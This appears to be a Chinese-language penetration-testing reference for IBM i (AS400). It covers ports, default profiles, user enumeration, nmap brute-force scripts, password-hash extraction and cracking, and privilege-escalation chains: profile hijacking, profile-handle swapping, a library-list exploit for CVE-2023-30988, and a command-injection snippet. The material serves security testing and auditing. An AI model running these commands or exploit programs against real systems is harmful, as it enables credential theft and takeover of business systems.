跳转至

AS400

AS400 (IBM i) 是 IBM 开发的一种中型计算机系统,最初于 1988 年发布。现在被称为在 Power Systems 上运行的 IBM i,因其稳定性、安全性和集成数据库 (DB2 for i) 而被广泛用于商业应用。

摘要

实验环境

  • mainframed/DC30_Workshop - DEFCON 30 大型机缓冲区溢出工作坊容器
  • mainframed/DVCA - 易受攻击的 CICS 应用程序 (Damn Vulnerable CICS Application)

    docker run -d \
    --name=dvca \
    -e HUSER=docker \
    -e HPASS=docker \
    -p 21:21 \
    -p 23:23 \
    -p 3270:3270 \
    -p 3505:3505 \
    -p 3506:3506 \
    -p 8888:8888 \
    -v /opt/docker/dvca:/config \
    -v /opt/docker/dvca/printers:/printers \
    -v /opt/docker/dvca/punchcards:/punchcards \
    -v /opt/docker/dvca/logs:/logs \
    -v /opt/docker/dvca/dasd:/dasd \
    -v /opt/docker/dvca/certs:/certs \
    --restart unless-stopped \
    mainframed767/dvca:latest
    

枚举

默认情况下,FTP 服务会发送带有以下前缀的横幅 (banner):

220-QTCP at

AS400 设备中的常用端口:

20, 21, 23, 25, 80, 110, 137, 138, 139, 389, 443, 446, 448, 449, 512, 910, 992, 2001, 2010, 3000, 5061, 5544, 5555, 5566, 5577, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 9470, 9471, 9472, 9473, 9474, 9475, 9476
名称 描述 端口 端口 (SSL)
FTP FTP 服务,用于访问 AS/400 文件系统 20,21 /
Telnet Telnet 服务,用于访问 5250 仿真 23 992
SMTP SMTP 服务,用于提供邮件传输 25 /
HTTP HTTP 服务,用于提供网页 80 443
POP3 POP3 服务,用于提供邮件获取 110 910
NetServer NetServer 允许从 Windows PC 访问 AS/400 集成文件系统 137,138,139,445 /
LDAP LDAP 提供网络目录服务 389 636
DDM DDM 服务,用于通过 DRDA 访问数据以及进行记录级访问。 446 448
As-svrmap 端口映射器,返回所请求服务的端口号。 449 /
As-rmtcmd 远程命令服务,用于从 PC 向 AS/400 发送命令以及进行程序调用。 512 /
As-admin-http HTTP 服务管理。 2001 2010
As-sts 服务工具服务 3000 /
As-mtgc Management Central 服务,用于在网络中管理多个 AS/400。 5555,5544 5566,5577
As-central Central 服务,在需要 Client Access 许可证或下载转换表时使用。 8470 9470
As-database 数据库服务,用于访问 AS/400 数据库。 8471 9471
As-dtaq 数据队列服务,允许访问 AS/400 数据队列,用于在应用程序之间传递数据。 8472 9472
As-file 文件服务,用于访问 AS/400 文件系统的任何部分。 8473 9473
As-netprt 打印机服务,用于访问 AS/400 已知的打印机。 8474 9474
As-rmtcmd 远程命令服务,用于从 PC 向 AS/400 发送命令以及进行程序调用。 8475 9475
As-signon 登录服务,用于每个 Client Access 连接以验证用户及更改密码。 8476 9476

访问与审计

访问:

  • tn5250/tn5250 - 基于 curses 的 5250 终端客户端
  • x3270 - IBM 3270 终端模拟器
  • ayoul3/wc3270_hacked - wc3270 的破解版,移除了字段保护并显示隐藏字段
  • Mocha TN3270 - 提供用于访问 IBM 大型机的 TN3270 仿真
  • Mocha TN5250 - 提供用于访问 IBM 大型机的 TN5250 仿真
  • IBM i Access Client Solutions (5250 控制台): servername.com/WSG 或 Telnet
  • IBM Navigator for i (Web 界面): http://systemName:2001

已注销的配置文件仍可使用——不是用于打开 5250 会话,但应可用于其他协议。

所有对象都可以从 DB2 数据库进行查询。

审计:

AS400 思维导图

默认凭据

# 打印使用默认密码的用户 (用户名 == 密码,不区分大小写)
# 必须拥有 *ALLOBJ 和 *SECADM 特殊权限才能使用此命令。
ANZDFTPWD

其他默认配置文件:

QAUTPROF QBRMS QCLUMGT QCLUSTER QCOLSRV
QDBSHR QDBSHRDO QDFTOWN QDIRSRV QDLFM
QDOC QDSNX QEJB QFNC QGATE
QLPAUTO QLPINSTALL QMQM QMQMADM QMSF
QNETSPLF QNFSANON QNOTES QNTP QPEX
QPGMR QPM400 QPRJOWN QRJE QRMTCAL
QSECOFR QSNADS QSPL QSPLJOB QSRV
QSRVBAS QSVCDRCTR QSYS QSYSOPR QTCP
QTFTP QTMHHTP1 QTMHHTTP QTMPLPD QTMTWSG
QTSTRQS QUMB QUSER QYPSJSVR QYPUOWN30

用户枚举

Telnet

Telnet 中的身份验证错误消息

  • CPF1107 : 用户配置文件的密码不正确
  • CPF1109 : 未获得子系统授权。
  • CPF1110 : 未获得工作站授权。
  • CPF1116 : 下一次无效的登录尝试将停用设备。
  • CPF1118 : 用户 XYZ 没有关联的密码。
  • CPF1120 – 用户 AABBA 不存在
  • CPF1133 值 X Z S 不是有效的名称
  • CPF1392 : 下一次无效的登录将禁用用户配置文件。
  • CPF1394 : 用户配置文件 XYZ 无法登录。

POP3

POP3 中的身份验证错误消息

+OK POP3 server ready
USER bogus
+OK POP3 server ready
PASS xyz
-ERR Logon attempt invalid CPF2204
  • CPF2204 : 未找到用户配置文件
  • CPF22E2 : 用户配置文件的密码不正确
  • CPF22E3 : 用户配置文件已被禁用
  • CPF22E4 : 用户配置文件的密码已过期
  • CPF22E5 : 用户配置文件没有关联的密码

FTP

创建一个指向 QSYS 库的符号链接并列出 *.USRPRF

open as400.victim.com
as400user
password
quote site namefmt 1
quote site listfmt 1
mkdir /test12345
quote rcmd ADDLNK OBJ('/qsys.lib')
NEWLNK('/test12345/qsys')
dir /test12345/qsys/*.usrprf

常用命令

命令 描述
DSPUSRPRF <user> 显示用户配置文件
WRKUSRPRF <user> 显示用户,查找组配置文件和补充组
WRKUSRPRF *ALL 显示所有用户
DSPPGM LIB/PROGRAM 显示程序信息
WRKOBJ (*ALL QSYS *LIB) 列出库
CHGUSRPRF USRPRF(<USERNAME>) PASSWORD(<NEW_PASSWORD>) 设置用户密码
QSH 启动 QSHELL 实例

检查 PGM/SRVPGM 中的字符串

cat QLWIUTIL4.SRVPGM | iconv -f cp1141 -t UTF-8 | strings

NMAP 脚本

  • nse/tn3270-screen - 连接到 tn3270 “服务器”并返回屏幕。

    nmap --script tn3270-info,tn3270_screen <host>
    
  • nse/tso-enum - IBM 大型机 (z/OS) 的 TSO 用户 ID 枚举器。

    nmap --script=tso-enum -p 23 <targets>
    nmap -sV -p 9923 10.32.70.10 --script tso-enum --script-args userdb=tso_users.txt,tso-enum.commands="logon applid(tso)"
    
  • nse/tso-brute - TSO 账户暴力破解器。

    nmap -p 2401 --script tso-brute <host>
    
  • nse/cics-user-enum - 用于 CESL/CESN 登录界面的 CICS 用户 ID 枚举脚本。

    nmap --script=cics-user-enum -p 23 <targets>
    nmap --script=cics-user-enum --script-args userdb=users.txt,cics-user-enum.commands="exit;logon applid(cics42)" -p 23 <targets>
    
  • nse/cics-user-brute - 用于 CESL 登录界面的 CICS 用户 ID 暴力破解脚本。

    nmap --script=cics-user-brute -p 23 <targets>
    nmap --script=cics-user-brute --script-args userdb=users.txt,cics-user-brute.commands="exit;logon applid(cics42)" -p 23 <targets>
    
  • nse/cics-info

    nmap --script=cics-info -p 23 <targets>
    nmap --script=cics-info --script-args cics-info.commands='logon applid(coolcics)',cics-info.user=test,cics-info.pass=test,cics-info.cemt='ZEMT',cics-info.trans=CICA -p 23 <targets>
    
  • nse/cics-enum - IBM 大型机的 CICS 交易 ID 枚举器。

    nmap --script=cics-enum -p 23 <targets>
    nmap --script=cics-enum --script-args=idlist=default_cics.txt,cics-enum.command="exit;logon applid(cics42)",cics-enum.path="/home/dade/screenshots/",cics-enum.noSSL=true -p 23 <targets>
    
  • nse/lu-enum - 尝试枚举 TN3270E 服务器的逻辑单元 (Logical Units, LU)。

    nmap --script lu-enum --script-args lulist=lus.txt,lu-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
    
  • nse/vtam-enum - 暴力破解 VTAM 应用程序 ID。

    nmap --script vtam-enum --script-args idlist=defaults.txt,vtam-enum.command="exit;logon applid(logos)",vtam-enum.macros=true,vtam-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
    

用户类别

用户类别 (USRCLS) 定义了用户配置文件预定义的一组权限和系统特权。它决定了用户在系统中的一般角色和访问级别。然而,用户类别本身并不直接授予特殊权限 (SPCAUT);相反,它作为分配权限的指南。

在此示例中,我们通过分配 *SECOFR (安全主管) 用户类别 (USRCLS) 来创建一个高权限用户。通过将特殊权限属性 (SPCAUT) 设置为 *USRCLS,系统会自动授予用户与 *SECOFR 类别相关联的所有特殊权限。

CRTUSRPRF USRPRF(MYUSER) USRCLS(*SECOFR) SPCAUT(*USRCLS)
用户类别 用户类别的特殊权限
*SECOFR (安全主管) 系统完全控制权,包括用户管理和安全。拥有所有特殊权限
*SECADM (安全管理员) 可以管理用户,但不能管理系统范围的设置。具有 *SECADM 特殊权限
*SYSOPR (系统操作员) 可以管理系统运行,但不能管理安全设置。具有 *SAVSYS*JOBCTL 特殊权限
*ALLOBJ (全对象权限) 可以访问所有对象,但可能缺乏安全控制权。
*PGMR 可以创建和修改程序,但对系统管理功能的访问权限有限。无特殊权限
*USER 具有最小特权的普通用户,通常用于一般系统使用。无特殊权限

权限

在 AS400 (IBM i) 中,权限控制用户对系统对象 (库、文件、程序等) 的访问。它通过定义用户对特定对象的操作来确保安全。

  • *ALL: 完全访问 (读取、写入、删除、执行)。
  • *CHANGE: 修改但不删除。
  • *EXCLUDE: 无权访问。
  • *USE: 仅限读取或执行。
  • *USERDEF: 基于用户特定需求的自定义权限设置。

用户的安全权限标准:

  • USRCLS 应为 *USER
  • SPCAUT 应为 *NONE
  • AUT 应始终为 *EXCLUDE
  • *USRPRF 应具有对其自身的权限
  • *PUBLIC 应为 *EXCLUDE
  • 不应存在其他权限。
Object . . . . . . . :       XXXXXX           Owner  . . . . . . . :   QSECOFR
Library  . . . . . :         QSYS               Primary group  . . . :   *NONE
Object type  . . . . :       *USRPRF         ASP device . . . . . :   *SYSBAS

                     Object
User Group           Authority
*PUBLIC              *EXCLUDE
QSECOFR              *ALL
XXXXXX               USER DEF

特殊权限默认值 (安全级别 30 或以上)

用户类别 特殊权限
*SECOFR *ALL
*SECADM *SECADM
*PGMR *NONE
*SYSOPR JOBCTL,SAVSYS
*USER *NONE

特殊权限

特殊权限用于指定用户在系统资源上可以执行的操作类型。可以授予用户一个或多个特殊权限。

  • *ALLOBJ 特殊权限:全对象 (*ALLOBJ) 特殊权限允许用户访问系统上的任何资源,无论是否为该用户设置了私有权限。
  • *SECADM 特殊权限:安全管理员 (*SECADM) 特殊权限允许用户创建、更改和删除用户配置文件。
  • *JOBCTL 特殊权限:作业控制 (*JOBCTL) 特殊权限允许用户更改作业和打印的优先级、在作业完成前结束作业或在输出打印前将其删除。如果输出队列指定了 OPRCTL(*YES)*JOBCTL 特殊权限还可以允许用户访问机密的多段输出 (spooled output)。
  • *SPLCTL 特殊权限:排队控制 (*SPLCTL) 特殊权限允许用户执行所有排队控制功能,例如更改、删除、显示、保留和释放脱机文件 (spooled files)。
  • *SAVSYS 特殊权限:保存系统 (*SAVSYS) 特殊权限授予用户保存、恢复和释放系统上所有对象存储的权限,无论用户是否具有这些对象的对象存在权限。
  • *SERVICE 特殊权限:服务 (*SERVICE) 特殊权限允许用户使用 STRSST 命令启动系统服务工具。此特殊权限允许用户通过仅有的 *USE 权限来调试程序,并执行显示和更改服务功能。它还允许用户执行跟踪 (trace) 功能。
  • *AUDIT 特殊权限:审计 (*AUDIT) 特殊权限授予用户查看和更改审计特征的能力。
  • *IOSYSCFG 特殊权限:系统配置 (*IOSYSCFG) 特殊权限授予用户更改系统配置方式的能力。具有此特殊权限的用户可以添加或移除通信配置信息、操作 TCP/IP 服务器以及配置 Internet 连接服务器 (ICS)。大多数配置通信的命令都需要 *IOSYSCFG 特殊权限。
# 打印具有特殊权限的用户
PRTUSRPRF TYPE(*ALL) SELECT(*SPCAUT) SPCAUT(*ALL)

# 打印库对象的权限
DSPOBJAUT OBJ(MYLIB) OBJTYPE(*LIB)

QSECOFR (Security Officer 的缩写) 是最高级别的用户配置文件,类似于 Unix/Linux 中的 “root” 用户或 Windows 中的 “Administrator” 账户。它对系统拥有完全控制权,包括安全设置、用户管理和系统配置。

*ALLOBJ (全对象权限) 特殊权限允许用户访问系统上的所有对象,无论其特定的对象级权限如何。具有此权限的用户几乎可以在系统上执行任何操作,使其成为一种强大且敏感的特权。

默认情况下,QSECOFR 具有 *ALLOBJ 以及其他特殊权限,使其成为 IBM i 上最强大的用户配置文件。

继承权限 (Adopted Authority)

相当于 Linux 中的 setuid。

继承权限允许用户获取超出 *PUBLIC 和私有权限所授予范围的对象权限。例如,假设用户通常被限制访问工资单文件,但为了执行工作,该用户必须能够运行工资单报告。继承权限允许用户获取足够的权限来读取用于该工资单报告的文件,而无需在运行报告的程序之外授予该用户对该文件的任何权限。

在向 PAYLIST 授予继承权限之前,您必须确定它已经具备哪些权限。在操作系统命令行中输入以下内容:

DSPPGM PAYLIB/PAYLIST

以 QAUTPROF 运行的继承权限示例

Owner: QAUTPROF
User profile: *OWNER
Use adopted authority: *YES

如果用户配置文件为 *OWNER,则程序运行时会结合程序所有者的权限与运行该程序的用户的权限。

密码破解

要求:

  • *ALLOBJ 特权:对所有对象的完全控制
  • *SECADM 特权:配置文件管理,低级系统访问

使用 QSYRUPWD 提取哈希:

描述 格式 类型 示例
接收变量 (Receiver variable) 输出 Char(*) 2000B
接收变量的长度 输入 Binary(4)
格式 (Format) 输入 Char(8) "UPWD0100"
用户配置文件名称 输入 Char(10) userName
错误代码 I/O Char(*)

输出格式 UPWD0100 如下文所述:

偏移 (十进制) 偏移 (十六进制) 类型 字段
0 0 BINARY(4) 返回的字节数
4 4 BINARY(4) 可用的字节数
8 8 CHAR(10) 用户配置文件名称
18 12 CHAR(*) 加密的用户名密码数据

加密密码数据十六进制字符串

偏移 (十进制) 长度 (字符) 字段 QPWDLVL
0 16 DES 56 位加密密码替换 (RFC2877) 0, 1, 2*
16 16 DES 56 位加密密码替换 (RFC2877) 0, 1, 2*
32 32 LM 哈希 0, 1, 2*
64 4 无数据
68 40 HMAC-SHA1 加密密码令牌 (RFC4777)? 0, 1, 2, 3
108 40 HMAC-SHA1 加密密码令牌 (RFC4777)? 0, 1, 2, 3
148 6 无数据
154 384 未知 (哈希?) 数据 0, 1, 2, 3

如果机器仍在使用 QPWDLVL < 3,那么攻击者仍然可以恢复 DES 和 LM 哈希。

哈希 John
LM john --format=LM {filename}
IBM DES john --format=as400-des {filename}
SHA1 大写 john --format=as400-ssha1 {filename}
# 针对 LM 哈希的 Hashcat 命令
.\hashcat.exe  -m 3000 -a 3 --increment --username -1 ?u?d?s .\hashes.txt ?1?1?1?1?1?1?1

提权

初始程序跳出

  • 点击 “Attn” 按钮。注意中断键 (ATTN) 允许已验证用户中断/结束一个进程,并显示带有附加功能的菜单。
  • F9 运行命令
# 生成 PASE shell
CALL QP2TERM

# 执行脚本
CALL QP2SHELL PARM('/QOpenSys/usr/bin/sh' + '/tmp/scr')

劫持配置文件 - SECOFR 安全类别

被分配 *SECOFR (安全主管) 安全类别的用户配置文件会自动获得 *ALLOBJ (全对象) 权限,从而可以不受限制地访问所有系统对象。请参阅 用户类别

使用 DSPUSRPRF 以多种不同格式显示用户配置文件。

DSPUSRPRF <username>

提交此项的用户必须具有 *ALLOBJ*JOBCTL 权限。

  • <USERNAME> 身份提交作业

    SBMJOB CMD(DSPJOB) JOB(TESTJOB) USER(<USERNAME>)
    
  • 然后检查作业日志:

    WRKJOB TESTJOB
    

劫持配置文件 - 权限

  • 打印公共权限:查看是否有任何用户配置文件的权限未设置为默认的 *PUBLIC AUT(*EXCLUDE)

    PRTPUBAUT OBJTYPE(*USRPRF)
    
  • 打印私有权限

    PRTPVTAUT OBJTYPE(*USRPRF)
    

查找对他人的用户配置文件具有 *USE 权限或更好权限 (例如 *CHANGE, *ALL) 的用户。

SBMJOB 命令将提交一个后台作业,在 HIJACKED_USER 用户配置文件下运行,并将打印出 HIJACKED_USER 用户配置文件具有访问权限的 FILE_OF_HIJACKED_USER 文件中的记录。

提交作业 (SBMJOB) 命令允许正在运行的作业将另一个作业提交到作业队列中,以便稍后作为批处理作业运行。新作业的消息队列中只能放置一个请求数据元素。- IBM/SBMJOB

SBMJOB CMD(CPYF FROMFILE(FILE_OF_HIJACKED_USER) TOFILE(*PRINT)) USER(HIJACKED_USER)

劫持配置文件 - 配置文件切换

用于更改运行应用程序的线程用户配置文件,以获得更高的权限。

  • 检查配置文件列表
  • 获取配置文件句柄:QSYGETPH
  • 根据 QSYGETPH 生成的令牌设置配置文件:QWTSETP
  • 重复此操作,直到获得最高访问级别
  • 释放配置文件句柄:QSYRLSPH
/* 调用 QSYGETPH 为用户获取配置文件句柄。 */
/* 注意:将 USERPROFILE 更改为您想要切换到的用户。 */
CALL QSYS/QSYGETPH ('USERPROFILE' '*NOPWDCHK' &HNDL)
/* 调用 QWTSETP 切换到该配置文件。 */
CALL QSYS/QWTSETP &HNDL
描述
*NOPWD 请求配置文件句柄的用户必须对该用户配置文件具有 *USE 权限。不会为禁用的用户配置文件创建配置文件句柄。不会为密码已过期的用户配置文件创建配置文件句柄。
*NOPWDCHK 请求配置文件句柄的用户必须对该用户配置文件具有 *USE 权限。如果该配置文件已被禁用,则请求配置文件句柄的用户必须具有 *ALLOBJ*SECADM 特殊权限才能获取句柄。如果密码已过期,则请求配置文件句柄的用户必须具有 *ALLOBJ*SECADM 特殊权限才能获取句柄。
*NOPWDSTS 请求配置文件句柄的用户必须对该用户配置文件具有 *USE 权限。不会为禁用的用户配置文件创建配置文件句柄。如果密码已过期,则请求配置文件句柄的用户必须具有 *ALLOBJ*SECADM 特殊权限才能获取句柄。

您无法为以下系统提供的用户配置文件获取配置文件句柄:

QAUTPROF  QDLFM       QMSF      QSNADS      QTSTRQS
QCLUMGT   QDOC        QNETSPLF  QSPL
QCOLSRV   QDSNX       QNFSANON  QSPLJOB
QDBSHR    QFNC        QNTP      QSRVAGT
QDBSHRDO  QGATE       QPEX      QSYS
QDFTOWN   QLPAUTO     QPM400    QTCP 
QDIRSRV   QLPINSTALL  QRJE      QTFTP 

JDBC:

CREATE OR REPLACE PROCEDURE J_QSYGETPH (IN USERNAME VARBINARY(10), IN PASSWORD VARBINARY(10), OUT HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QSYGETPH LANGUAGE C++ GENERAL
CALL J_QSYGETPH('USERPROFILE', "*NOPWD", PROFILE_HANDLE)

CREATE OR REPLACE PROCEDURE J_QWTSETP (IN HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QWTSETP LANGUAGE C++ GENERAL
CALL J_QWTSETP(PROFILE_HANDLE)

非限定库调用

“使用库列表而不是限定库名称的应用程序存在潜在的安全风险。拥有使用库列表命令授权的用户可能会运行程序的其他版本。” - ibm.com/security-library-library-lists

代码 检查
CALL LIBFOO/OBJBAR 安全 (SECURE)
CALL OBJBAR 易受攻击 (VULNERABLE)

示例:

CVE-2023-30988: IBM i 上的 LIBL 滥用、PATH 滥用 - 库列表利用

DSPUSRPRF <user>               -- 显示用户配置文件
CRTLIB <user>                  -- 创建库
STRSEU <user>/QCLSRC QFQSES    -- 显示 QFQSES 的源代码, 
                               -- 编译它需要
                                PGM
                                    CALL QSYS/QCMD
                                ENDPGM

ADDLIBLE <user>                -- 将用户添加到库中
DSPAUTUSR                      -- 显示用户配置文件
CALL QFAX/QFFSTRFCPP PARM(1 2) -- 调用易受攻击程序
DSPAUTUSR                      -- 显示用户配置文件,QAUTPROF 和 QFAXMSF 应可用
CALL <user>/ESCALATE QFAXMSF   -- 切换配置文件
                               -- 需要编译 ESCALATE 程序
                                PGM PARM(&USER)
                                    DCL VAR(&USER) TYPE(*CHAR) LEN(10)
                                    DCL VAR(&HANDLE) TYPE(*CHAR) LEN(12)
                                    DCL VAR(&ERROR) TYPE(*CHAR) LEN(4)
                                    CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
                                    CALL PGM(QSYGETPH) PARM(&USER *NOPWD &HANDLE &ERROR)
                                    CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
                                    CALL PGM(QWTSETP) PARM(&HANDLE &ERROR)
                                ENDPGM

DSPAUTUSR                      -- 应显示所有配置文件
                               -- QFAXMSF 具有 *ALLOBJ

从 ALLOBJ 到 SECADM

  • 查询用户信息:

    DSPUSRPRF USRPRF(*ALL) TYPE(*BASIC) OUTPUT(*OUTFILE) OUTFILE(PENTEST/USERDB)
    
  • 创建一个 CL 脚本来提权,并使用 STRPDM 进行编译 (输出为 PRIVESC)

  • 调用生成的 PGM (程序对象): CALL PENTEST/PRIVESC USERWITHSECADM

任意命令执行

  • QSECOFR 用户 - 编译为 .jar 文件并在 QSH 中运行:java -jar /home/user/exploit.jar

    // 使用 JTOpen 触发
    sPGMCall.setProgram("/QSYS.LIB/QLWIUTIL4.SRVPGM");
    String str = "`id>/tmp/xy.txt`"; // 使用 QSECOFR 权限执行命令
    ProgramParameter[] programParameterArr = {
        new ProgramParameter(2, new AS400Text(str.length() + 1, system).toBytes(str + (char) 0)),
        new ProgramParameter(2, new byte[16384], 16384) // hatmanager.jar
    };
    sPGMCall.setParameterList(programParameterArr);
    sPGMCall.setProcedureName("QlwiRelayCall");
    
  • QSECOFR 用户 - CVE-2023-40685

  • QDIRSRV 用户 - CVE-2023-40378
  • QYPSJSVR 用户 - CVE-2023-40686
  • QBRMS 用户 - CVE-2023-40377

参考资料